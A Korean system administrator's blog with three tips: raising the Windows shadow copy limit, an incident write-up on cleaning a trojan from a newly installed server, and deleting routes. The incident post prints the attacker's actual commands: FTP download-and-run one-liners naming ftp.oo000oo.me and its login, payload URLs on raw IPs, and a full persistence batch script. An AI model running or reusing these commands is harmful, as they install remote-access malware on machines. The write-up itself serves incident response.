독까의 이야기

Windows Server 2008 이상의 OS 가 설치 된 서버 중 VSS 백업 복사본이 당일 하루치 또는 5일 이내의 복사본만 생성되는 경우가 간혹 발생한다. 

섀도우 복사본 및 VSS 백업 카탈로그 전부 삭제 후, 백업 스케쥴 재생성하여도 동일한 경우가 있다. 

백업 파티션의 사용 가능 용량이 1TB 이상이 남아 있더라도 사용 가능한 백업 복사본이 소량만 생성되는 경우에 대한 해결 방법을 확인한다. 


구글링시 입력한 검색어 : vss backup available 1 copy


뭐, 이런저런 문제 해결 방법들이 나열되어 있으나 당장 활용이 가능한 방법은 아래와 같다. 


# 섀도 복사본 최대 크기 변경

내 컴퓨터 - 아무 디스크 선택 - 우클릭 - 속성 - 섀도 복사본 - 볼륨 "시스템 예약 파티션" 선택 - 설정 에 진입 후 확인시, 

Default 로 "제한 사용" 으로 설정이 되어 있다. 


이 설정을 "제한 없음" 으로 변경을 하면 대부분 문제 해결이 가능하다. 



위와 같은 방법을 통해서도 해결이 되지 않으면, 백업 디스크 교체를 진행하는 것을 권장 한다. 


OS 세팅 된지 24 시간이 경과되지 않은 신규 서버에 WannaCry Ransomeware 파일 생성 경고 알림이 확인 되었음.

일본에서 운영 중인 서버이고 웹서비스 및 기타 서비스가 하나도 활성화 되지 않았는데도 공격에 당함.

신규 서버가 IPMI 관리 서버를 통해 연결이 되어 있어서, 혹시나 하는 마음에 IPMI 관리 서버 접속해서 점검을 했는데 공격에 당해 있었음.

작업 스케쥴러에 관리자가 생성하지 않은 작업이 등록되어 있고,

작업 관리자의 프로세스 리스트에도 비정상 명령어를 실행하는 프로세스가 존재하는 것을 확인.

 

백신을 이용한 전체 스캔으로도 침해 파일이 확인되지 않음.

 

1. 기타 계정 생성 여부를 확인하였으나, 관리자 계정 외에는 생성 된 계정이 없음을 확인

 

2. 작업 스케쥴러 인수에 기록되어 있는 폴더로 이동하여 파일 생성 여부 확인

/c echo open ftp.oo000oo.me>ps&echo test>>ps&echo 1433>>ps&echo get s.rar c:\windows\help\lsmosee.exe>>ps&echo bye>>ps&ftp -s:ps&c:\windows\help\lsmosee.exe

/c echo open ftp.oo000oo.me>p&echo test>>p&echo 1433>>p&echo get s.dat c:\windows\debug\item.dat>>p&echo bye>>p&ftp -s:p

c:\windows\help\lsmosee.exe / c:\windows\debug\lsmosee.exe 파일 생성 확인

 

3. 인수에 기록 된 링크 주소로 FTP 접속 (id : test / pw : 1433) 하여 파일 확인 및 다운로드. 

도메인 주소로 ping 을 쳐봤더니 윈도우 서버로 확인되어, 104.37.245.82 로 원격 접속을 시도 해 보았으나 접속 실패.

 

4. s.rar 파일명을 실행파일 확장자로 변경하여 실행하였으나 실행되는 프로세스 확인되지 않음. 다른 작업과 연계되어야 실행이 되는 것으로 추정.

 

5. 임시 경로에 비정상 파일 생성 확인

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5

하위 폴더들에 침해 파일 생성 확인

test[1].htm 내용

http://209.58.186.145:8888/close2.bat c:\windows\debug\c2.bat 1
http://104.37.245.82:8888/32.rar c:\windows\help\lsmosee.exe 1

close2[2].bat 내용

ping 127.0.0.1 -n 10
net1 user IISUSER$ /del&net1 user IUSR_Servs /del
cacls c:\windows\twain_32\csrss.exe /e /d system&cacls c:\windows\twain_32\csrss.exe /e /d everyone
schtasks /create /tn "Mysa1" /tr "rundll32.exe c:\windows\debug\item.dat,ServiceMain aaaa" /ru "system"  /sc onstart /F
schtasks /create /tn "Mysa2" /tr "cmd /c echo open ftp.oo000oo.me>p&echo test>>p&echo 1433>>p&echo get s.dat c:\windows\debug\item.dat>>p&echo bye>>p&ftp -s:p" /ru "system"  /sc onstart /F
schtasks /create /tn "Mysa3" /tr "cmd /c echo open ftp.oo000oo.me>ps&echo test>>ps&echo 1433>>ps&echo get s.rar c:\windows\help\lsmosee.exe>>ps&echo bye>>ps&ftp -s:ps&c:\windows\help\lsmosee.exe" /ru "system"  /sc onstart /F
schtasks /create /tn "ok" /tr "rundll32.exe c:\windows\debug\ok.dat,ServiceMain aaaa" /ru "system"  /sc onstart /F
netsh ipsec static add policy name=win
netsh ipsec static add filterlist name=Allowlist
netsh ipsec static add filterlist name=denylist
netsh ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=135
netsh ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=137
netsh ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=138
netsh ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=139
netsh ipsec static add filter filterlist=denylist srcaddr=any dstaddr=me description=not protocol=tcp mirrored=yes dstport=445
netsh ipsec static add filteraction name=Allow action=permit
netsh ipsec static add filteraction name=deny action=block
netsh ipsec static add rule name=deny1 policy=win filterlist=denylist filteraction=deny
netsh ipsec static set policy name=win assign=y
ver | find "5.1." > NUL && sc config SharedAccess start= auto && net start SharedAccess && netsh firewall set opmode mode=enable && netsh firewall set portopening protocol = ALL port = 445 name = 445 mode = DISABLE scope = ALL profile = ALL
attrib -s -h -r C:\Windows\systxm1\*.*&attrib -s -h -r C:\Windows\system\*.*
net1 stop Mysqlverss&sc delete Mysqlverss&net1 user Mysql_User /del
cacls C:\Windows\systxm1\*.* /e /p system:n&cacls C:\Windows\system\*.* /e /p system:n&cacls c:\windows\fonts\*.exe /e /p system:n
@Wmic Process Where "Name='winlogon.exe' And ExecutablePath='C:\Windows\system\winlogon.exe'" Call Terminate &del C:\Windows\system\winlogon.exe
@Wmic Process Where "Name='svchost.exe' And ExecutablePath='C:\Windows\system\svchost.exe'" Call Terminate &del C:\Windows\system\svchost.exe
@Wmic Process Where "Name='svchost.exe' And ExecutablePath='C:\Windows\twain_32\svchost.exe'" Call Terminate &del C:\Windows\twain_32\svchost.exe
@Wmic Process Where "Name='csrss.exe' And ExecutablePath='C:\Windows\twain_32\csrss.exe'" Call Terminate &del C:\Windows\twain_32\csrss.exe
@Wmic Process Where "Name='csrss.exe' And ExecutablePath='C:\Windows\tasks\csrss.exe'" Call Terminate &del C:\Windows\tasks\csrss.exe
del c:\windows\debug\c2.bat
exit

 

해당 파일들은 아래에 있음. 실행하는 것은 권장하지 않음.

close2[2].bat

ru[1].dat

test[1].htm

 

6. 스케쥴러 및 파일 삭제

 

위와 같이 진행하여 차단 완료되었는 줄 알았으나, 몇 시간 후 동일한 스케쥴러 및 파일 생성 확인함.

 

완전한 차단 및 삭제를 위해 구글링 시작.

검색어 : ftp.oo000oo.me

참고 링크 : https://www.bleepingcomputer.com/forums/t/649842/ransomware-help/

참고 링크 : https://www.cyphort.com/eternalblue-exploit-actively-used-deliver-remote-access-trojans/

두 번째 링크에서 많은 도움을 얻음.

일단 해당 침해는 랜섬웨어는 아닌 걸로 확인 됨. 트로이 목마를 이용한 원격 접속 침해 인걸로 확인.

레지스트리에 등록 되어 있는 실행 명령어 때문에 스케쥴러를 삭제해도 재등록이 되는 거였음.

HKEY_LOCAL_MACHINE - SOFTWARE - Microsoft - Windows - CurrentVersion - Run

해결 방법에 적힌 내용 확인 후 처리 진행함. 

서버 리부팅 후에도 침해 발생은 확인되지 않고 있음.

일단 해결은 되었으나, 지속적 모니터링이 필요함.

서버에서 임의 설정한 라우팅 테이블 값 삭제가 필요할 때가 있음.

route print 명령어 입력해서 삭제 할 아이피 및 매트릭 값 확인하고,

route delete 명령어 입력해서 삭제 진행.

route delete 삭제할 아이피 METRIC 매트릭값

ex) route delete 192.168.1.112 metric 11

삭제가 필요한 값이 다수일 경우에는 메모장에 쭈욱 작성후에 복사 붙여넣기 하면 완료.